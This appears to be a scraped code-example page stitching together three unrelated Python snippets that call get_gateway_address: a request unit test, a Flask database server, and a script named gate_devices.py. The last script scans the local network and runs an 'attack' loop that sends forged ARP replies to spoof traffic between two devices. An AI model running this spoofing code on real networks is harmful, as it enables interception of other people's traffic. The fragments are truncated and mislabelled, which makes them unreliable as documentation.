How to use get_gateway_address method in Airtest

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test_request.py

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...25 'gateway_addresses': ['12.34.56.78:1234', 'http:/​/​127.0.0.1:80'],26 }27 request = Request(**values)28 assert request.get_gateway_protocol() == values['gateway_protocol']29 assert request.get_gateway_address() == values['gateway_addresses'][1]30 assert request.get_client_address() == values['client_address']31 assert request.get_service_name() == ''32 assert request.get_service_version() == ''33 assert request.get_action_name() == ''34 assert request.get_http_request() is None35 # Check service related setters36 request.set_service_name(service_name)37 request.set_service_version(service_version)38 request.set_action_name(action_name)39 assert request.get_service_name() == service_name40 assert request.get_service_version() == service_version41 assert request.get_action_name() == action_name42 # Check parameters43 assert request.get_params() == []44 assert request.has_param('foo') is False45 param = request.get_param('foo')46 assert isinstance(param, Param)47 assert not param.exists()48 param = Param('foo', value=42)49 assert request.set_param(param) == request50 assert request.has_param('foo')51 # Result is not the same parameter, but is has the same values52 foo_param = request.get_param('foo')53 assert foo_param != param54 assert foo_param.get_name() == param.get_name()55 assert foo_param.get_type() == param.get_type()56 assert foo_param.get_value() == param.get_value()57 params = request.get_params()58 assert len(params) == 159 foo_param = params[0]60 assert foo_param.get_name() == param.get_name()61 assert foo_param.get_type() == param.get_type()62 assert foo_param.get_value() == param.get_value()63def test_api_request_new_response():64 SchemaRegistry()65 values = {66 'rid': 'TEST',67 'attributes': {},68 'component': object(),69 'path': '/​path/​to/​file.py',70 'name': 'dummy',71 'version': '1.0',72 'framework_version': '1.0.0',73 'client_address': '205.81.5.62:7681',74 'gateway_protocol': urn.HTTP,75 'gateway_addresses': ['12.34.56.78:1234', 'http:/​/​127.0.0.1:80'],76 }77 request = Request(**values)78 # Create an HTTP response with default values79 response = request.new_response()80 assert isinstance(response, Response)81 assert response.get_gateway_protocol() == request.get_gateway_protocol()82 assert response.get_gateway_address() == request.get_gateway_address()83 assert isinstance(response.get_transport(), Transport)84 # An HTTP response is created when using HTTP as protocol85 http_response = response.get_http_response()86 assert http_response is not None87 assert http_response.get_status() == '200 OK'88 # Create a response with HTTP status values89 response = request.new_response(418, "I'm a teapot")90 assert isinstance(response, Response)91 http_response = response.get_http_response()92 assert http_response is not None93 assert http_response.get_status() == "418 I'm a teapot"94 # Create a response for other ptotocol95 values['gateway_protocol'] = urn.KTP96 request = Request(**values)97 response = request.new_response()98 assert isinstance(response, Response)99 assert response.get_gateway_protocol() == request.get_gateway_protocol()100 assert response.get_gateway_address() == request.get_gateway_address()101 assert isinstance(response.get_transport(), Transport)102 # Check that no HTTP response was created103 assert response.get_http_response() is None104 # Create an HTTP request with request data105 values['gateway_protocol'] = urn.HTTP106 values['http_request'] = {107 'method': 'GET',108 'url': 'http:/​/​foo.com/​bar/​index/​',109 }110 request = Request(**values)111 assert isinstance(request.get_http_request(), HttpRequest)112def test_api_request_new_param():113 SchemaRegistry()114 values = {...

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server.py

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...4from folium import plugins5import netifaces6app = Flask(__name__)7'''8* get_gateway_address()는 LocalHost gateway 정보를 반환9* @ https:/​/​pypi.org/​project/​netifaces/​10* @ ex) 작성자의 ip 주소인 '192.168.0.10'을 반환11'''12def get_gateway_address():13 return netifaces.gateways()['default'][2][0]14# DB 기본 설정15HOST = get_gateway_address() #'192.168.0.10'16# HOST = 'localhost'17PORT = 330618USER = "username"19PASSWD = "dbpass"20CHARSET = "utf8"21db_name = 'travel'22table_name = ['countries_location', 'status']23'''24* Database로 접근하여 status table의 모든 정보를 가져옴25* @ pymysql 모듈을 사용해 DB로 접근하고 ('입국규정', '검역규정','격리규정','환승규정')값을 return함26* @ cursor 객체의 execute() 메서드를 사용하여 작성한 코드를 DB서버에 보냄27'''28def get_datas(country:str) -> str:29 with pymysql.connect(...

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gate_devices.py

Source: gate_devices.py Github

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...3from termcolor import colored4import time5def has_root():6 return os.geteuid() == 07def get_gateway_address():8 gateways = netifaces.gateways()9 global gateway_address10 gateway_address = gateways["default"][netifaces.AF_INET][0]11def connected(ip_range):12 arp_request = ARP(pdst=ip_range)13 broadcast = Ether(dst="ff:ff:ff:ff:ff:ff")14 arp_request_broadcast = broadcast/​arp_request15 response = srp(arp_request_broadcast, timeout=1, verbose=False)[0]16 global clients17 clients = []18 for client in response:19 client_info = {"ip" : client[1].psrc, "mac" : client[1].src}20 clients.append(client_info)21 print(colored(clients, 'blue'))22def call_connected():23 get_gateway_address()24 class_a = [i for i in range(0,127)]25 class_b = [i for i in range(127,192)]26 class_c = [i for i in range(192,224)]27 g_s = gateway_address.split('.')28 g_s[-1] = '0'29 range_ip = ".".join(g_s)30 if int(g_s[0]) in class_a:31 connected(f'{range_ip}/​8')32 elif int(g_s[0]) in class_b:33 connected(f'{range_ip}/​16')34 elif int(g_s[0]) in class_c:35 connected(f'{range_ip}/​24')36 else:37 print("Adresse IP non prise en charge")38def attack():39 get_gateway_address()40 if len(clients) > 1:41 print("Lauching attack...")42 while True:43 packet = ARP(44 op=2,45 psrc = clients[0]['ip'],46 hwsrc = clients[0]['mac'],47 pdst = clients[1]['ip'],48 hwdst = clients[1]['mac'],49 )50 send(packet, verbose=False)51 else:52 print(colored("No devices to attack", "red"))53if __name__ == "__main__":...

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